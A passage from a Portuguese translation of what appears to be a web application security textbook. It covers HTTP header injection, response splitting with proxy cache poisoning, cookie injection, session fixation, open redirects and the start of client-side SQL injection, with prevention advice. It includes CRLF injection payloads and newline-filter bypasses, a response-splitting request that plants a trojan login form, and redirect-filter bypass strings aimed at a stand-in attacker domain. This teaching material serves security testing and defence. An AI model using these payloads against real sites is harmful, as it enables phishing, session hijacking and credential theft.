Essa vulnerabilidade surge mais comumente em relação aos cabeçalhos `Location` e `Set-Cookie`, mas é possível que ocorra em qualquer cabeçalho HTTP. Você viu anteriormente como um aplicativo pode pegar a entrada fornecida pelo usuário e inseri-la

no cabeçalho `Location` de uma resposta 3xx. De forma semelhante, alguns aplicativos pegam a entrada fornecida pelo usuário e a inserem no valor de um cookie. Por exemplo:

```
GET /settings/12/Default.aspx?Language=English HTTP/1.1 Host:
mdsec.net

HTTP/1.1 200 OK
Set-Cookie: PreferredLanguage=English
...
```

Em qualquer um desses casos, pode ser possível que um invasor crie uma solicitação criada usando os caracteres carriage-return (`0x0d`) e/ou line-feed (`0x0a`) para injetar uma nova linha no cabeçalho que ele controla e, portanto, inserir mais dados na linha seguinte:

```
GET /settings/12/Default.aspx?Language=English%0d%0aFoo:+bar HTTP/1.1
Host: mdsec.net

HTTP/1.1 200 OK
Set-Cookie: PreferredLanguage=English
Foo: bar
...
```

Exploração de vulnerabilidades de injeção de cabeçalho

As possíveis vulnerabilidades de injeção de cabeçalho podem ser detectadas de forma semelhante às vulnerabilidades de XSS, pois você está procurando casos em que a entrada controlável pelo usuário reaparece em qualquer lugar dentro dos cabeçalhos HTTP retornados pelo aplicativo. Portanto, ao sondar o aplicativo em busca de vulnerabilidades de XSS, você também deve identificar quaisquer locais em que o aplicativo possa estar vulnerável à injeção de cabeçalho.

ETAPAS DO HACK

1. Para cada instância potencialmente vulnerável em que a entrada controlável pelo usuário é copiada em um cabeçalho HTTP, verifique se o aplicativo aceita dados que contenham caracteres carriage-return (**`%0d`**) e line-feed (**`%0a`**) codificados por URL e se eles são retornados não higienizados em sua resposta.
2. Observe que você está procurando que os próprios caracteres de nova linha apareçam na resposta do servidor, e não seus equivalentes codificados por URL. Se você visualizar a resposta em um proxy de interceptação, deverá ver uma linha adicional nos cabeçalhos HTTP se o ataque tiver sido bem-sucedido.
3. Se apenas um dos dois caracteres de nova linha for retornado nas respostas do servidor, ainda poderá ser possível criar uma exploração funcional, dependendo do contexto.

4. Se você descobrir que o aplicativo está bloqueando ou higienizando caracteres de nova linha, tente os seguintes desvios:

foo%00%0d%0abar foo%250d%250abar

foo%0d0d%%0a0abar

AVISO Problemas como esses às vezes não são percebidos devido à dependência excessiva do código-fonte HTML e/ou dos plug-ins do navegador para obter informações, que não mostram os cabeçalhos de resposta. Certifique-se de que está lendo os cabeçalhos de resposta HTTP usando uma ferramenta de interceptação de proxy.

Se for possível injetar cabeçalhos arbitrários e conteúdo do corpo da mensagem na resposta, esse comportamento poderá ser usado para atacar outros usuários do aplicativo de várias maneiras.

EXPERIMENTE!

`http://mdsec.net/settings/12/ http://mdsec.net/settings/31/`

Injeção de cookies

É possível construir um URL que defina cookies arbitrários no navegador de qualquer usuário que o solicite:

```
GET /settings/12/Default.aspx?Language=English%0d%0aSet-
Cookie:+SessId%3d120a12f98e8; HTTP/1.1
Host: mdsec.net

HTTP/1.1 200 OK
Set-Cookie: PreferredLanguage=English
Set-Cookie: SessId=120a12f98e8;
...
```

Se configurados adequadamente, esses cookies podem persistir em diferentes sessões do navegador. Os usuários-alvo podem ser induzidos a acessar o URL malicioso por meio dos mesmos mecanismos de entrega descritos para as vulnerabilidades XSS refletidas (e-mail, site de terceiros etc.).

Realização de outros ataques

Como a injeção de cabeçalho HTTP permite que um invasor controle todo o corpo de uma resposta, ela pode ser usada como um mecanismo de entrega para praticamente qualquer ataque contra outros usuários, incluindo desfiguração de sites virtuais, injeção de scripts, redirecionamento de arbi- trários, ataques contra controles ActiveX e assim por diante.

Divisão de respostas HTTP

Essa técnica de ataque busca envenenar o cache de um servidor proxy com conteúdo malicioso para comprometer outros usuários que acessam o aplicativo por meio do proxy. Por exemplo, se todos os usuários de uma rede corporativa acessarem um aplicativo por meio de um proxy em cache, o invasor poderá atacá-los injetando conteúdo malicioso no cache do proxy, que será exibido para todos os usuários que solicitarem a página afetada.

Um invasor pode explorar uma vulnerabilidade de injeção de cabeçalho para realizar um ataque de divisão de resposta seguindo estas etapas:

1. O invasor escolhe uma página do aplicativo que ele deseja envenenar dentro do cache do proxy. Por exemplo, ele pode substituir a página `/admin/` por um formulário de login de Trojan que envia as credenciais do usuário para o servidor do invasor.
2. O invasor localiza uma vulnerabilidade de injeção de cabeçalho e formula uma solicitação que injeta um corpo HTTP inteiro na resposta, além de um segundo conjunto de cabeçalhos de resposta e um segundo corpo de resposta. O segundo corpo de resposta contém o código-fonte HTML do formulário de login do Trojan do invasor. O efeito é que a resposta do servidor se parece exatamente com duas respostas HTTP separadas encadeadas. É daí que vem o nome da técnica de ataque, porque o invasor efetivamente "dividiu" a resposta do servidor em duas respostas separadas. Por exemplo:

```
GET /settings/12/Default.aspx?Language=English%0d%0aContent-Length:+22
%0d%0a%0d%0a<html>%0d%0afoo%0d%0a</html>%0d%0aHTTP/1.1+200+OK%0d%0a
Content-Length:+2307%0d%0a%0d%0a<html>%0d%0a<head>%0d%0a<title>
Administrator+login</title>0d%0a[...long URL...] HTTP/1.1
Host: mdsec.net

HTTP/1.1 200 OK
Set-Cookie: PreferredLanguage=English
Content-Length: 22

<html>
foo
</html> HTTP/1.1
200 OK
Content-Length: 2307

<html>
<head>
<title>Login do administrador</title>
...
```

3. O invasor abre uma conexão TCP com o servidor proxy e envia sua solicitação criada, seguida imediatamente por uma solicitação para que a página seja envenenada. O pipelining de solicitações dessa forma é legal no protocolo HTTP:

```
GET http://mdsec.net/settings/12/Default.aspx?Language=English%0d%0a Content-
Length:+22%0d%0a%0d%0a<html>%0d%0afoo%0d%0a</html>%0d%0aHTTP/
1.1+200+OK%0d%0aContent-Length:+2307%0d%0a%0d%0a<html>%0d%0a<head>%0d%0a
<title>Administrador+login</title>0d%0a[...long URL...] HTTP/1.1
Host: mdsec.net
Conexão proxy: Keep-alive

GET http://mdsec.net/admin/ HTTP/1.1
Host: mdsec.net
Conexão proxy: Fechar
```

4. O servidor proxy abre uma conexão TCP com o aplicativo e envia as duas solicitações em pipeline da mesma forma.
5. O aplicativo responde à primeira solicitação com o conteúdo HTTP injetado pelo invasor, que se parece exatamente com duas respostas HTTP separadas.
6. O servidor proxy recebe essas duas respostas aparentes e interpreta a segunda como sendo a resposta à segunda solicitação em cascata do invasor, que foi para o URL http://mdsec.net/admin/. O proxy armazena em cache essa segunda resposta como o conteúdo desse URL. (Se o proxy já tiver armazenado uma cópia em cache da página, o invasor poderá fazer com que ele solicite novamente o URL e atualize seu cache com a nova versão inserindo um cabeçalho `If-Modified-Since` apropriado em sua segunda solicitação e um cabeçalho `Last-Modified` na resposta injetada).
7. O aplicativo emite sua resposta real à segunda solicitação do invasor, contendo o conteúdo autêntico do URL http://mdsec.net/admin/. O servidor proxy não reconhece essa resposta como sendo uma resposta a uma solicitação que ele realmente emitiu e, portanto, a descarta.
8. Um usuário acessa `o site http://mdsec.net/admin/` por meio do servidor proxy e recebe o conteúdo desse URL que foi armazenado no cache do proxy. Esse conteúdo é, na verdade, o formulário de login do Trojan do invasor, de modo que as credenciais do usuário são comprometidas.

As etapas envolvidas nesse ataque estão ilustradas na Figura 13-3.

Figura 13-3: As etapas envolvidas em um ataque de divisão de resposta HTTP que envenena o cache de um servidor proxy

Prevenção de vulnerabilidades de injeção de cabeçalho

A maneira mais eficaz de evitar vulnerabilidades de injeção de cabeçalho HTTP é não inserir entradas controláveis pelo usuário nos cabeçalhos HTTP que o aplicativo retorna. Como você viu com as vulnerabilidades de redirecionamento arbitrário, geralmente há alternativas mais seguras para esse comportamento.

Se for considerado inevitável inserir dados controláveis pelo usuário nos cabeçalhos HTTP, o aplicativo deverá empregar uma abordagem dupla de defesa em profundidade para evitar o surgimento de vulnerabilidades:

- Validação de entrada - O aplicativo deve executar a validação dependente do contexto dos dados que estão sendo inseridos da maneira mais rigorosa possível. Por exemplo, se um valor de cookie estiver sendo definido com base na entrada do usuário, pode ser apropriado restringi-lo apenas a caracteres alfabéticos e a um comprimento máximo de 6 bytes.
- Validação de saída - Cada dado inserido nos cabeçalhos deve ser filtrado para detectar caracteres potencialmente maliciosos. Na prática, qualquer caractere com um código ASCII abaixo de 0x20 deve ser considerado suspeito, e a solicitação deve ser rejeitada.

Os aplicativos podem evitar que as vulnerabilidades de injeção de cabeçalho restantes sejam usadas para envenenar caches de servidores proxy usando HTTPS para todo o conteúdo do aplicativo, desde que o aplicativo não empregue um servidor proxy reverso de cache por trás de seu terminador SSL.

Injeção de cookies

Nos ataques de injeção de cookies, o invasor aproveita algum recurso da funcionalidade de um aplicativo, ou o comportamento do navegador, para definir ou modificar um cookie no navegador de um usuário vítima.

Um invasor pode realizar um ataque de injeção de cookie de várias maneiras:

- Alguns aplicativos contêm funcionalidades que recebem um nome e um valor em parâmetros de solicitação e os definem em um cookie na resposta. Um exemplo comum em que isso ocorre é em funções para persistir as preferências do usuário.
- Conforme já descrito, se houver uma vulnerabilidade de injeção de cabeçalho HTTP, ela poderá ser explorada para injetar cabeçalhos `Set-Cookie` arbitrários.
- As vulnerabilidades de XSS em domínios relacionados podem ser aproveitadas para definir um cookie em um domínio de destino. Todos os subdomínios do próprio domínio visado e de seus domínios pai e seus subdomínios podem ser usados dessa forma.
- Um ataque man-in-the-middle ativo (por exemplo, contra usuários em uma rede pública sem fio) pode ser usado para definir cookies para domínios arbitrários, até mesmo

se o aplicativo visado usar apenas HTTPS e seus cookies forem sinalizados como `seguro`. Esse tipo de ataque é descrito em mais detalhes posteriormente neste capítulo.

Se um invasor puder definir um cookie arbitrário, isso poderá ser aproveitado de várias maneiras para comprometer o usuário-alvo:

- Dependendo do aplicativo, a configuração de um cookie específico pode interferir na lógica do aplicativo, prejudicando o usuário (por exemplo, `UseHttps=false`).
- Como os cookies geralmente são definidos apenas pelo próprio aplicativo, eles podem ser confiáveis para o código do lado do cliente. Esse código pode processar valores de cookies de maneiras perigosas para dados controláveis pelo invasor, levando a XSS baseado em DOM ou injeção de JavaScript.
- Em vez de vincular tokens anti-CSRF à sessão de um usuário, alguns aplicativos funcionam colocando o token em um cookie e em um parâmetro de solicitação e, em seguida, comparando esses valores para evitar ataques CSRF. Se o invasor controlar tanto o cookie quanto o valor do parâmetro, essa defesa poderá ser contornada.
- Conforme descrito anteriormente neste capítulo, alguns XSS persistentes do mesmo usuário podem ser explorados por meio de um ataque CSRF contra a função de login para fazer o login do usuário na conta do invasor e, portanto, acessar a carga útil do XSS. Se a página de login for protegida de forma robusta contra CSRF, esse ataque falhará. No entanto, se o invasor puder definir um cookie arbitrário no navegador do usuário, ele poderá executar o mesmo ataque passando seu próprio token de sessão diretamente para o usuário, ignorando a necessidade de um ataque CSRF contra a função de login.
- A configuração de cookies arbitrários pode permitir a exploração de vulnerabilidades de fixação de sessão, conforme descrito na próxima seção.

Fixação de sessão

As vulnerabilidades de fixação de sessão geralmente surgem quando um aplicativo cria uma sessão anônima para cada usuário quando ele acessa o aplicativo pela primeira vez. Se o aplicativo contiver uma função de login, essa sessão anônima é criada antes do login e, em seguida, é atualizada para uma sessão autenticada depois que o usuário faz o login. O mesmo token que inicialmente não confere acesso especial permite posteriormente acesso privilegiado dentro do contexto de segurança do usuário autenticado.

Em um ataque padrão de sequestro de sessão, o invasor deve usar algum meio para capturar o token de sessão de um usuário do aplicativo. Em um ataque de fixação de sessão, por outro lado, o invasor primeiro obtém um token anônimo diretamente do aplicativo e, em seguida, usa algum meio para fixar esse token no navegador da vítima. Depois que o usuário fizer login, o invasor poderá usar o token para sequestrar a sessão do usuário.

A Figura 13-4 mostra as etapas envolvidas em um ataque bem-sucedido de fixação de

sessão.

Figura 13-4: As etapas envolvidas em um ataque de fixação de sessão

O principal estágio desse ataque é, obviamente, o ponto em que o invasor fornece à vítima o token de sessão que ele adquiriu, fazendo com que o navegador da vítima o utilize. As maneiras pelas quais isso pode ser feito dependem do mecanismo usado para transmitir tokens de sessão:

- Se forem usados cookies HTTP, o invasor poderá tentar usar uma das técnicas de injeção de cookies, conforme descrito na seção anterior.
- Se os tokens de sessão forem transmitidos em um parâmetro de URL, o invasor poderá simplesmente alimentar a vítima com o mesmo URL que o aplicativo emitiu para ele:

```
https://wahh-app.com/login.php?SessId=12d1a1f856ef224ab424c2454208
```

- Vários servidores de aplicativos aceitam o uso de seus tokens de sessão dentro do URL, delimitado por um ponto e vírgula. Em alguns aplicativos, isso é feito por padrão e, em outros, o aplicativo tolera o uso explícito dessa maneira, mesmo que os servidores não se comportem dessa forma por padrão:

```
http://wahh-app.com/store/product.do;jsessionid=739105723F7AEE6ABC2 13F812C184204.ASTPESD2
```

- Se o aplicativo usar campos ocultos em formulários HTML para transmitir tokens de sessão, o invasor poderá usar um ataque CSRF para introduzir seu token no navegador do usuário.

As vulnerabilidades de fixação de sessão também podem existir em aplicativos que não contêm funcionalidade de login. Por exemplo, um aplicativo pode permitir que anônimos

Os usuários navegam em um catálogo de produtos, colocam itens em um carrinho de compras, fazem o check-out enviando dados pessoais e detalhes de pagamento e, em seguida, revisam todas essas informações em uma página de confirmação de pedido. Nessa situação, um invasor pode fixar um token de sessão anônimo no navegador da vítima, esperar que o usuário faça um pedido e envie informações confidenciais e, em seguida, acessar a página Confirm Order usando o token para capturar os detalhes do usuário.

Alguns aplicativos e servidores da Web aceitam tokens arbitrários enviados pelos usuários, mesmo que não tenham sido emitidos anteriormente pelo próprio servidor. Quando um token não reconhecido é recebido, o servidor simplesmente cria uma nova sessão para ele e o trata exatamente como se fosse um novo token gerado pelo servidor. Os servidores Microsoft IIS e Allaire ColdFusion já foram vulneráveis a esse ponto fraco no passado.

Quando um aplicativo ou servidor se comporta dessa forma, os ataques baseados em fixação de sessão são consideravelmente facilitados porque o invasor não precisa tomar nenhuma medida para garantir que os tokens fixados nos navegadores dos usuários-alvo sejam válidos no momento. O invasor pode simplesmente escolher um token arbitrário e divulgá-lo da forma mais ampla possível (por exemplo, enviando por e-mail um URL que contenha o token para usuários individuais, listas de discussão e assim por diante). Em seguida, o invasor pode pesquisar periodicamente uma página protegida dentro do aplicativo (como My Details) para detectar quando uma vítima usou o token para fazer login. Mesmo que um usuário-alvo não siga o URL por vários meses, um invasor determinado ainda poderá sequestrar sua sessão.

Localização e exploração de vulnerabilidades de fixação de sessão

Se o aplicativo for compatível com a autenticação, você deverá analisar como ele lida com os tokens de sessão em relação ao login. O aplicativo pode estar vulnerável de duas maneiras:

- O aplicativo emite um token de sessão anônima para cada usuário não autenticado. Quando o usuário faz login, nenhum novo token é emitido. Em vez disso, sua sessão existente é atualizada para uma sessão autenticada. Esse comportamento é comum quando o aplicativo usa o mecanismo de tratamento de sessão padrão do servidor de aplicativos.
- O aplicativo não emite tokens para usuários anônimos, e um token é emitido somente após um login bem-sucedido. No entanto, se um usuário acessar a função de login usando um token autenticado e fizer login usando credenciais diferentes, nenhum novo token será emitido. Em vez disso, o usuário associado à sessão autenticada anteriormente é alterado para a identidade do segundo usuário.

Em ambos os casos, um invasor pode obter um token de sessão válido (simplesmente solicitando a página de login ou realizando um login com seus próprios credenciais) e enviá-lo a um usuário-alvo. Quando esse usuário faz login usando o token, o invasor pode sequestrar a sessão do usuário.

ETAPAS DO HACK

1. Obtenha um token válido por qualquer meio que o aplicativo permita que você o obtenha.
2. Acesse o formulário de login e faça um login usando esse token.
3. Se o login for bem-sucedido e o aplicativo não emitir um novo token, ele estará vulnerável à fixação de sessão.

Se o aplicativo não for compatível com a autenticação, mas permitir que os usuários enviem e depois revisem informações confidenciais, verifique se o mesmo token de sessão é usado antes e depois do envio inicial de informações específicas do usuário. Se for esse o caso, um invasor poderá obter um token e fornecê-lo a um usuário-alvo. Quando o usuário submete detalhes confidenciais, o invasor pode usar o token para visualizar as informações do usuário.

ETAPAS DO HACK

1. Obtenha um token de sessão como um usuário completamente anônimo e, em seguida, percorra o processo de envio de dados confidenciais, até qualquer página em que os dados confidenciais sejam exibidos de volta.
2. Se o mesmo token obtido originalmente puder agora ser usado para recuperar os dados sensíveis, o aplicativo estará vulnerável à fixação de sessão.
3. Se for identificado algum tipo de fixação de sessão, verifique se o servidor aceita tokens arbitrários que não tenham sido emitidos anteriormente. Se isso acontecer, a vulnerabilidade será consideravelmente mais fácil de ser explorada em um período prolongado.

Prevenção de vulnerabilidades de fixação de sessão

A qualquer momento em que um usuário que interage com o aplicativo passa de anônimo para identificado, o aplicativo deve emitir um novo token de sessão. Isso se aplica tanto a um login bem-sucedido quanto aos casos em que um usuário anônimo envia pela primeira vez informações pessoais ou outras informações confidenciais.

Como uma medida de defesa em profundidade para proteger ainda mais contra ataques de fixação de sessão, muitos aplicativos essenciais à segurança empregam tokens por página para complementar o token da sessão principal. Essa técnica pode frustrar a maioria dos tipos de ataques de sequestro de sessão. Consulte o Capítulo 7 para obter mais detalhes.

O aplicativo não deve aceitar tokens de sessão arbitrários que não reconheça como tendo sido emitidos por ele mesmo. O token deve ser imediatamente cancelado no navegador, e o usuário deve retornar à página inicial do aplicativo.

Vulnerabilidades de redirecionamento aberto

As vulnerabilidades de redirecionamento aberto surgem quando um aplicativo recebe uma entrada controlável pelo usuário e a utiliza para executar um redirecionamento,

instruindo o navegador do usuário a

visitar um URL diferente do solicitado. Essas vulnerabilidades geralmente são de muito menos interesse para um invasor do que o script entre sites, que pode ser usado para executar uma variedade muito maior de ações mal-intencionadas. As vulnerabilidades de redirecionamento aberto são usadas principalmente em ataques de phishing, nos quais o invasor procura induzir a vítima a visitar um site falsificado e inserir detalhes confidenciais. Uma vulnerabilidade de redirecionamento pode dar credibilidade às propostas do invasor para as vítimas em potencial, pois permite que ele construa um URL que aponte para o site autêntico que ele está almejando. Portanto, esse URL é mais convincente, e qualquer pessoa que o visite é redirecionada silenciosamente para um site que o invasor controla.

Dito isso, a maioria dos ataques do tipo phishing no mundo real usa outras técnicas para ganhar credibilidade que estão fora do controle do aplicativo visado. Os exemplos incluem o registro de nomes de domínio semelhantes, o uso de subdomínios que soam oficiais e a criação de uma simples incompatibilidade entre o texto âncora e os URLs de destino dos links em e-mails HTML. Pesquisas indicam que a maioria dos usuários não pode ou não está inclinada a tomar decisões de segurança com base na estrutura do URL. Por esses motivos, o valor para os phishermen de um bug típico de redirecionamento aberto é bastante marginal.

Nos últimos anos, as vulnerabilidades de redirecionamento aberto foram usadas de forma relativamente benigna para realizar ataques de "rickrolling", nos quais as vítimas são redirecionadas involuntariamente para um vídeo da lenda do pop britânico Rick Astley, conforme ilustrado na Figura 13-5.

Figura 13-5: O resultado de um ataque de rickrolling

Encontrando e explorando vulnerabilidades de redirecionamento aberto

A primeira etapa para localizar vulnerabilidades de redirecionamento aberto é identificar todas as instâncias do aplicativo em que ocorre um redirecionamento. Um aplicativo pode fazer com que o navegador do usuário seja redirecionado para um URL diferente de várias maneiras:

- Um redirecionamento HTTP usa uma mensagem com um código de status 3xx e um `Location` especificando o destino do redirecionamento:

```
HTTP/1.1 302 Objeto movido
Localização: http://mdsec.net/updates/update29.html
```

- O cabeçalho HTTP `Refresh` pode ser usado para recarregar uma página com um URL arbitrário após um intervalo fixo, que pode ser 0 para acionar um redirecionamento imediato:

```
HTTP/1.1 200 OK
Refresh: 0; url=http://mdsec.net/updates/update29.html
```

- A tag HTML `<meta>` pode ser usada para replicar o comportamento de qualquer cabeçalho HTTP e, portanto, pode ser usada para redirecionamento:

```
HTTP/1.1 200 OK
Content-Length: 125

<html>
<head>
<meta http-equiv="refresh" content=
"0;url=http://mdsec.net/updates/update29.html">
</head>
</html>
```

- Existem várias APIs no JavaScript que podem ser usadas para redirecionar o navegador para um URL arbitrário:

```
HTTP/1.1 200 OK
Content-Length: 120

<html>
<head>
<script> document.location="http://mdsec.net/updates/update29.html";
</script>
</head>
</html>
```

Em cada um desses casos, pode ser especificado um URL absoluto ou relativo.

ETAPAS DO HACK

1. Identifique todas as instâncias do aplicativo em que ocorre um redirecionamento.
2. Uma maneira eficaz de fazer isso é percorrer o aplicativo usando um proxy de interceptação e monitorar as solicitações feitas para páginas reais (em oposição a outros recursos, como imagens, folhas de estilo e arquivos de script).
3. Se uma única ação de navegação resultar em mais de uma solicitação bem-sucedida, investigue qual meio de realizar o redirecionamento está sendo usado.

A maioria dos redirecionamentos não é controlável pelo usuário. Por exemplo, em um mecanismo de login típico, o envio de credenciais válidas para `/login.jsp` pode retornar um redirecionamento HTTP para `/myhome.jsp`. O destino do redirecionamento é sempre o mesmo, portanto, não está sujeito a nenhuma vulnerabilidade que envolva redirecionamento.

No entanto, em outros casos, os dados fornecidos pelo usuário são usados de alguma forma para definir o destino do redirecionamento. Um exemplo comum disso é quando um aplicativo força os usuários cujas sessões expiraram a retornar à página de login e depois os redireciona para o URL original após a reautenticação bem-sucedida. Se você encontrar esse tipo de comportamento, o aplicativo poderá estar vulnerável a um ataque de redirecionamento, e você deverá investigar mais a fundo para determinar se o comportamento é explorável.

ETAPAS DO HACK

1. Se os dados do usuário que estão sendo processados em um redirecionamento contiverem um URL absoluto, modifique o nome do domínio dentro do URL e teste se o aplicativo o redireciona para o domínio diferente.
2. Se os dados do usuário que estão sendo processados contiverem um URL relativo, modifique-o em um URL absoluto para um domínio diferente e teste se o aplicativo o redireciona para esse domínio.
3. Em ambos os casos, se você observar um comportamento como o seguinte, o aplicativo certamente está vulnerável a um ataque de redirecionamento arbitrário:

```
GET /updates/8/?redir=http://mdattacker.net/ HTTP/1.1 Host:
mdsec.net

HTTP/1.1 302 Object moved
Location: http://mdattacker.net/
```

EXPERIMENTE!

```
http://mdsec.net/updates/8/ http://mdsec.net/updates/14/
http://mdsec.net/updates/18/ http://mdsec.net/updates/23/
http://mdsec.net/updates/48/
```

OBSERVAÇÃO Um fenômeno relacionado, que não é exatamente o mesmo que redirecionamento, ocorre quando um aplicativo especifica o URL de destino para um quadro usando dados controláveis pelo usuário. Se você puder construir um URL que faça com que o conteúdo de um URL externo seja carregado em um quadro filho, poderá realizar um ataque de redirecionamento bastante furtivo. Você pode substituir apenas parte da interface existente de um aplicativo por um conteúdo diferente e deixar o domínio da barra de endereços do navegador inalterado.

É comum encontrar situações em que os dados controláveis pelo usuário estão sendo usados para formar o alvo de um redirecionamento, mas estão sendo filtrados ou sanitizados de alguma forma pelo aplicativo, geralmente em uma tentativa de bloquear ataques de redirecionamento. Nessa situação, o aplicativo pode ou não estar vulnerável, e sua próxima tarefa deve ser sondar as defesas existentes para determinar se elas podem ser contornadas para realizar um redirecionamento arbitrário. Os dois tipos gerais de defesas que você pode encontrar são tentativas de bloquear URLs absolutos e a adição de um prefixo de URL absoluto específico.

Bloqueio de URLs absolutos

O aplicativo pode verificar se a cadeia de caracteres fornecida pelo usuário começa com `http://` e, em caso afirmativo, bloquear a solicitação. Nessa situação, os truques a seguir podem conseguir causar um redirecionamento para um site externo (observe o espaço à esquerda no início da terceira linha):

```
HtTp://mdattacker.net
%00http://mdattacker.net
 http://mdattacker.net
//mdattacker.net
%68%74%74%70%3a%2f%2fmdattacker.net
%2568%2574%2574%2570%253a%252f%252fmdattacker.net https://mdattacker.net
http:\\mdattacker.net
http:///mdattacker.net
```

Como alternativa, o aplicativo pode tentar higienizar URLs absolutos removendo `http://` e qualquer domínio externo especificado. Nessa situação, qualquer um dos

Os desvios anteriores podem ser bem-sucedidos, e os seguintes ataques também devem ser testados:

```
http://http://mdattacker.net http://mdattacker.net/http://mdattacker.net
hthttp://tp://mdattacker.net
```

Às vezes, o aplicativo pode verificar se a cadeia de caracteres fornecida pelo usuário começa com ou contém um URL absoluto para seu próprio nome de domínio. Nessa situação, os seguintes desvios podem ser eficazes:

```
http://mdsec.net.mdattacker.net
http://mdattacker.net/?http://mdsec.net
http://mdattacker.net/%23http://mdsec.net
```

EXPERIMENTE!

```
http://mdsec.net/updates/52/
http://mdsec.net/updates/57/
http://mdsec.net/updates/59/
http://mdsec.net/updates/66/
http://mdsec.net/updates/69/
```

Adição de um prefixo absoluto

O aplicativo pode formar o destino do redirecionamento anexando a string controlável pelo usuário a um prefixo de URL absoluto:

```
GET /updates/72/?redir=/updates/update29.html HTTP/1.1 Host:
mdsec.net

HTTP/1.1 302 Objeto movido
Localização: http://mdsec.net/updates/update29.html
```

Nessa situação, o aplicativo pode ou não estar vulnerável. Se o prefixo usado consistir em `http://` e no nome de domínio do aplicativo, mas não incluir um caractere de barra após o nome de domínio, ele estará vulnerável. Por exemplo, o URL:

```
http://mdsec.net/updates/72/?redir=.mdattacker.net
```

causa um redirecionamento para:

```
http://mdsec.net.mdattacker.net
```

Esse URL está sob o controle do invasor, supondo que ele controle os registros de DNS do domínio `mdattacker.net`.

No entanto, se o prefixo absoluto do URL incluir uma barra final ou um subdiretório no servidor, o aplicativo provavelmente não estará vulnerável a um ataque de redirecionamento

direcionado a um domínio externo. O melhor que um invasor pode conseguir é criar um URL que redirecione um usuário para um URL diferente dentro do mesmo aplicativo. Em geral, esse ataque não traz nenhum resultado, pois se o invasor conseguir induzir um usuário a visitar um URL dentro do aplicativo, ele poderá alimentar o segundo URL diretamente para o usuário com a mesma facilidade.

EXPERIMENTE!

```
http://mdsec.net/updates/72/
```

Nos casos em que o redirecionamento é iniciado com o uso de JavaScript no lado do cliente que consulta dados do DOM, todo o código responsável pela execução do redirecionamento e qualquer validação associada normalmente ficam visíveis no cliente. Você deve analisar isso com atenção para determinar como os dados controláveis pelo usuário estão sendo incorporados ao URL, se alguma validação está sendo executada e, em caso afirmativo, se há algum desvio para a validação. Lembre-se de que, assim como ocorre com o XSS baseado em DOM, algumas validações adicionais podem ser realizadas no servidor antes que o script seja retornado ao navegador. As seguintes APIs JavaScript podem ser usadas para realizar redirecionamentos:

- `document.location`
- `document.URL`
- `document.open()`
- `window.location.href`
- `window.navigate()`
- `window.open()`

EXPERIMENTE!

```
http://mdsec.net/updates/76/
http://mdsec.net/updates/79/
http://mdsec.net/updates/82/
http://mdsec.net/updates/91/
http://mdsec.net/updates/92/
http://mdsec.net/updates/95/
```

Prevenção de vulnerabilidades de redirecionamento aberto

A maneira mais eficaz de evitar vulnerabilidades de redirecionamento aberto é não incorporar dados fornecidos pelo usuário ao alvo de um redirecionamento. Os desenvolvedores tendem a usar essa técnica por vários motivos, mas geralmente há alternativas disponíveis. Por exemplo, é comum ver uma interface de usuário que contém uma lista de links,

cada um apontando para uma página de redirecionamento e passando um URL de destino como parâmetro. Aqui, as possíveis abordagens alternativas incluem o seguinte:

- Remova a página de redirecionamento do aplicativo e substitua os links para ela por links diretos para os URLs de destino relevantes.
- Mantenha uma lista de todos os URLs válidos para redirecionamento. Em vez de passar o URL de destino como um parâmetro para a página de redirecionamento, passe um índice para essa lista. A página de redirecionamento deve procurar o índice em sua lista e retornar um redirecionamento para o URL relevante.

Se for considerado inevitável que a página de redirecionamento receba entradas controláveis pelo usuário e as incorpore ao alvo do redirecionamento, uma das medidas a seguir deverá ser usada para minimizar o risco de ataques de redirecionamento:

- O aplicativo deve usar URLs relativos em todos os seus redirecionamentos, e a página de redirecionamento deve validar estritamente que o URL recebido é um URL relativo. Ela deve verificar se o URL fornecido pelo usuário começa com uma única barra seguida de uma letra ou começa com uma letra e não contém um caractere de dois pontos antes da primeira barra. Qualquer outra entrada deve ser rejeitada, não sanitizada.
- O aplicativo deve usar URLs relativos à raiz da Web para todos os seus redirecionamentos, e a página de redirecionamento deve acrescentar `http://yourdomainname.com` a todos os URLs fornecidos pelo usuário antes de emitir o redirecionamento. Se o URL fornecido pelo usuário não começar com um caractere de barra, ele deverá ser precedido por http://yourdomainname.com/.
- O aplicativo deve usar URLs absolutos para todos os redirecionamentos, e a página de redirecionamento deve verificar se o URL fornecido pelo usuário começa com `http:// yourdomainname.com/` antes de emitir o redirecionamento. Qualquer outra entrada deve ser rejeitada.

Assim como ocorre com as vulnerabilidades XSS baseadas no DOM, recomenda-se que os aplicativos não executem redirecionamentos por meio de scripts do lado do cliente com base nos dados do DOM, pois esses dados estão fora do controle direto do servidor.

Injeção de SQL no lado do cliente

O HTML5 oferece suporte a bancos de dados SQL do lado do cliente, que os aplicativos podem usar para armazenar dados no cliente. Eles são acessados usando JavaScript, como no exemplo a seguir:

```
var db = openDatabase('contactsdb', '1.0', 'WahhMail contacts', 1000000);
db.transaction(function (tx) {
  tx.executeSql('CREATE TABLE IF NOT EXISTS contacts (id unique, name,
email)');
  tx.executeSql('INSERT INTO contacts (id, name, email) VALUES (1, "Matthew Adamson",
```

```
 "madam@nucnt.com")');
});
```

Essa funcionalidade permite que os aplicativos armazenem dados usados com frequência no lado do cliente e os recuperem rapidamente na interface do usuário quando necessário. Também permite que os aplicativos trabalhem no "modo off-line", no qual todos os dados processados pelo aplicativo residem no cliente, e as ações do usuário são armazenadas no cliente para sincronização posterior com o servidor, quando houver uma conexão de rede disponível. O Capítulo 9 descreveu como podem ocorrer ataques de injeção de SQL em bancos de dados SQL do lado do servidor, em que os dados controlados pelo invasor são inseridos em uma consulta SQL de forma insegura. Exatamente o mesmo ataque pode ocorrer no lado do cliente. Aqui estão alguns cenários em que isso pode ser possível:

- Aplicativos de redes sociais que armazenam detalhes dos contatos do usuário no banco de dados local, incluindo nomes de contatos e atualizações de status.
- Aplicativos de notícias que armazenam artigos e comentários de usuários no banco de dados local para visualização off-line
- Aplicativos de correio da Web que armazenam mensagens de e-mail no banco de dados local e, quando executados no modo off-line, armazenam mensagens de saída para envio posterior

